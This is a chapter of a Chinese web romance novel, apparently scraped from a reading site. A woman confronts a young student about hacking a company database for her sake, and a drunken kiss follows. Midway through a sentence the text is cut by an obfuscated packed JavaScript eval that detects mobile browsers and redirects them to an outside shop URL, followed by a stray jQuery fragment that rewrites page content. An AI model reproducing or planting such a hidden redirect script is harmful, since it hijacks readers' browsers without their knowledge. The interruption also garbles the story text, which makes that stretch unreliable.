25.难耐欲念
    许阳秋掏出手机给叶一打了个电话,但被他挂断。

    于是她编辑了一条消息发了出去,接着用手指比出数字,无声地倒数。

    三、二、一。

    屏幕亮起,是叶一的电话。

    “你在哪儿?”他语气焦急。

    “家里。”许阳秋喝醉后鼻音很重,刚好更有说服力,“网警上门了。”

    “我回来了。”叶一说罢挂断了电话。

    许阳秋甚至没有机会纠正他,不是“回来”而是“来”,因为他早就已经搬出去了。

    她发的是:【警察叔叔喊我去警局喝茶,他们说查到我家IP,有非法侵入他人计算机的行为】

    这是个十分低级的谎,但她就是赌叶一头脑一热根本来不及反应,至少在他到家以前反应不过来。

    天才偶尔的愚蠢会让她觉得格外可爱。

    她重新拿了一个红酒杯,给自己倒酒,这瓶是99年的玛歌,入口是浓郁的巧克力与莓果香气,让她的心情有些雀跃。

    叶一急匆匆地冲进来时,许阳秋正坐在中岛上,头顶是一排倒挂的红酒杯,她左手举着醒酒器给自己倒酒,右手轻晃酒杯——这瓶酒醒的时间不太够。

    许阳秋侧身坐着,缓缓扭头看向叶一,他眼里满是怒气:“许阳秋!耍我很有意思吗?”

    她喝得不少,身形微微晃了晃,叶一下意识地伸手想扶她,反应过来之后又有些尴尬地收手。

    许阳秋玩味地看着他。注意到她的眼神后,叶一的眉头皱起,不悦地回瞪她。

    “那你呢?”她抬手撩了下碍事的头发,中岛很高,足够她平视叶一,眸光氤氲,“插手我的事好玩吗?你是怎么说服天成子公司的线人检举公司的?什么时候研究的周易和星盘?你一个理工男,还懂这些?还能写出那么有煽动性的文章。”

    许阳秋扬起下巴凑近他:“还有,谁给你的胆子,用校园网去黑其他公司的数据库,还去删发帖记录和操作日志?”

    叶一做过的事情被拆穿,嚣张的气焰消失,默默低头不语,手在身侧攥成拳头。

    “哑巴了?说话。”许阳秋的语气不算冲,但明显带着火气,她自认脾气很好,但最近总是为了他的事情发火。

    “我只是想帮忙,可你不信我。”他别过头不肯看她,“那个员工的电脑被我黑了,他电脑里存了很多......那种视频......简单来说,他是个恋童癖。”

    “你还敢恐吓他?”许阳秋恨不得一拳锤在他肩膀上。

    “他查不到我,我就算用校园网,也没人能查到我。”

    他还拽起来了?

    许阳秋凉凉地扫他一眼:“周易和星盘呢?什么时候学的,你爱好还挺广泛。”

    叶一这回倒是没顶她,好好回答道:“我的AI写的。”

    她被气笑了,反问道:“你觉得自己很聪明?没人能抓到你?”

    “有。”叶一站在她面前,终于抬眼看她,“你抓到我了。”

    他依然低着头,抬眼的模样说不出的心酸,仿佛受了天大的委屈,却倔强地不肯让她看清表情。

    许阳秋想起来,他是因为点进那个“如何煎出鲜嫩多汁牛排”的钓鱼链接,才被刘叔发现。

    天才偶尔的愚蠢,总能让人格外心软。

    她忽然就没那么生气了,不自觉地叹了口气。

    两人相顾无言。

    半晌后,许阳秋伸手从头顶的勾下来一个红酒杯,塞进他手里,语气多少有些醉意:“陪我喝酒。”

    红酒哗啦啦地从分酒器流进叶一的杯子里。

    许阳秋倒了一半,突然停手,哗啦啦的声音也停止:“你会喝酒吗?”

    “不会。”叶一诚实道。

    哗啦啦的声音又响起:“那你多喝点。”

    叶一的杯子没动,逆来顺受地接着。

    “哦对了。”许阳秋突然想起了什么,“那个恋童癖他......”

    “没有作恶,电脑里那些视频都是外网找的。”

    叶一几乎是瞬间就明白了她在说什么,他们都担心那人真的曾对某个孩子下手。

    两人一问一答之后,客厅再次陷入沉默。

    叶一的确是个很好,且很值得信任的人。可叶一年纪太轻,不过是个大四学生。

    许阳秋虚握着红酒杯壁的上半部分,食指指尖不自觉地敲击杯沿,发出干脆的声响。

    她早就打定主意要独自走完这条漫长而狭窄的复仇路,可叶一这个倔脾气的,他不知道什么时候挤了进来,在她不知道的情况下,陪她走了好远。

    等她终于有空回头看,却发现自己的每一个足迹上都印着他的脚印,分不开,擦不掉。

    知道有人同行的那一瞬间,她忽然觉得独行的路漫长又艰难,她好累,连半步都走不下去了。

    可一想到是叶一陪她踏上这条路,她的不安慌乱,却又盖过了感激安心等等所有其他感受。

    叶一太过年轻,人生路还很长,如果只是一时上头决意帮她,那么万一行差踏错,会为此付出比她更重大的成本。

    她不怀疑叶一的真心,但真心瞬息万变。代价这种东西,她情愿自己一个人承担。

    叶一这人本身,于她而言不安与温暖并存,因此她一时无法想通。

    叶一突然出声:“你不生气了吗?”

    许阳秋回过神来,用酒杯轻碰叶一的酒杯,柔声道:“你才二十二岁,太过年轻了。别再草率地做决定,也别再做那些危险的事。”

    “我想......”

    许阳秋又在他的酒杯上碰了一下,打断了他的话:“知道了,你想帮我。喝酒吧,复读机。”

    叶一居然真的听话地喝了一口,接着他被单宁的口感刺激到,脸皱成一团,呛咳几声。

    许阳秋没忍住笑出声来,笑着笑着,身子一歪——她又差点摔下中岛,叶一条件反射地伸手扶住她。

    她穿着真丝吊带睡裙,露出了大片白皙的皮肤,叶一情急之下,手直接握在了她的大臂上,他指尖有粗粝的茧子,磨着她的皮肤。

    不过也没磨多久,叶一在她坐稳的瞬间就松开了手,触电了似的。

    “为什么非要坐在这?”不知是不是因为喝了酒,他声音有些哑。

    “喝醉了嘛。”许阳秋反手摸了摸过于滚烫的脸颊,诚实道。

    “哈......”极轻的一声笑。

    她觉得自己是真醉了,居然看到叶一笑了。

    自从她认识叶一,他一直是那副倔强抿嘴的小哑巴样,这是第一次见他笑得露出牙齿。

    他的笑容很淡,仿佛瞬间就要消失不见,腮边缀着两枚她从未见过的梨涡——吃过那么多苦的一个人,居然有甜甜的梨涡。

    许阳秋忍不住细细打量他,平时那双瞳孔里藏着太多东西:别扭、心机、孤单、不安、痛苦......

    他笑起来的时候,漆黑的瞳孔会被遮住大半,那些复杂的东西被他修长的睫毛挡住,只剩下温柔又明亮的眸光,这会儿他才有些像个清澈的男大学生,而不是叶一。

    可男大学生的脖颈上不会有那么骇人的一块伤疤。

    许阳秋抬手去摸他脖颈上的疤痕,叶一向后躲开,那点清

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13343876|140050||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    浅的笑容瞬间消失不见。

    “哎......”许阳秋叹口气,这会儿酒精上头,她已经不太知道自己在说什么,“认识你三年......第一次见你笑哎。少年人,你过得很辛苦吗?”

    叶一皱眉道:“我......”

    接着她又自说自话地打断他:“应该很辛苦,毕竟什么都要靠自己,还有人老是欺负你。也不知道你是怎么过的......”

    叶一默不作声地举起酒杯,又灌了一大口红酒,他声音很低,语气很奇怪,像是不习惯说这种话:“许阳秋,如果三年前那天没遇上你,那么我大概会放弃挣扎。”

    “不会的。”许阳秋语速很慢,答得却很快,“你只会花很久的时间摆烂,再花很久的时间痛苦,最后,再花很久的时间站起来。”

    “我们是一样的人,也会是同样的步骤。”许阳秋断言。

    叶一也有些醉意,喃喃道:“我们是一样的人吗?”

    许阳秋趁他不注意,把手戳在他的嘴角:“再......笑一个,快点。”

    一片羽毛扫过她的指尖。

    叶一脸颊微红,眼神朦胧,分不清是梦境还是现实,但动作却很快。

    他几乎是立刻下意识地在她指间吻了一下,一触即放。

    熟练得仿佛在梦中经历过无数次,每次都顺从地吻上她赏赐般伸过来的任意某个部位。

    亲完他也被自己的行为吓了一跳,失焦的双眼再次聚焦,他逃也似的转身想走。

    酒精让许阳秋的传感神经无比迟钝,指间三秒前传来柔软的触感,此刻才促使她的大脑开始思考,她后知后觉地想着:

    他嘴巴很硬,嘴唇却很软。

    许阳秋晕得站不住,于是干脆保持坐在中岛上的姿势,向前伸出手,揪着叶一的领子把他扯了回来。

    被她一拽,叶一手上的红酒由于惯性,猛地洒了出来。

    红色的液体洒在了她的肩膀上,她只穿了吊带,于是红酒顺着她的手臂、胸口向下流淌,衬得她肌肤胜雪。

    身上的酒液因为她胸口的起伏加速流下。

    她微微仰头,盯着他过于柔软的嘴唇,想要吻上去,却根本够不着叶一。

    于是她的右手使劲拽着叶一的领子,逼他低头。

    她没拉动。

    因为叶一也在用力,他在跟她的右手对抗。

    叶一的眼神炽热又克制,清醒又混沌,那是一种矛盾割裂到极致的眼神。

    他视线一直落在她的眼睛上,不敢下移一丝一毫,可他余光却不可避免地扫到她因湿透而越发透明的睡裙,耳朵不可避免地听到酒液顺着她身体落在地上的滴答声,甚至嗅到酒精与柑橘混合的醉人香气。

    他下巴因身体用力而微微扬起。

    叶一不敢触碰她,因此没有支点借力,他两只手悬在空中,收紧全身的肌肉与她抗衡。

    幸好醉酒的许阳秋的力气不算大,叶一抽空单手拿起她丢在旁边的真丝外搭,盖在她的身上。

    真丝外套挡住了她脖子以下的皮肤,那抹挑动他神经的红与白终于消失不见。

    许阳秋醉得彻底,那双眼睛里含着雾气,钓得人心痒。

    在他快要忍住的时候,她突然伸出手指轻轻抚过他脖颈陈年的疤痕。

    这一秒,叶一脑子嗡得一声,仅存的理智在脑子里炸成了烟花。

    他单手攥拳,撑在桌子上,无法忍耐地顺从她的右手与他的意志,猛地吻了下去。

    最终,他的行为和眼神一样,同样矛盾又割裂:他只想吻他心爱的女孩,却不愿屈从于原始的欲望。